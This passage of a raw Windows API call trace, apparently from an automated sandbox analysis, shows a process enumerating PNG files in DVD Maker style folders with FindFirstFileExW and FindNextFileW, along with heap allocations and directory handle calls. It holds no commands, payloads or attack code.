ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923258 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e9e8 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0245.242] GetLastError () returned 0x12 [0245.242] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.242] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0245.242] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0245.242] GetLastError () returned 0x12 [0245.242] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.242] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.243] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.243] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.243] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="")) returned 1 [0245.243] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.243] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.243] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.244] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.244] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9309d8 [0245.244] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9309d8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9309d8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.244] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9309d8) returned 1 [0245.244] NtClose (Handle=0x170) returned 0x0 [0245.244] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.244] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.244] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.244] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.244] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.247] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.247] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.247] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923278 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92eaf0 [0245.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.248] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923298 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92ebf8 [0245.248] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.248] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.248] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.249] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.249] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.249] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.249] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.249] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0245.249] GetLastError () returned 0x12 [0245.249] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.249] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.249] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 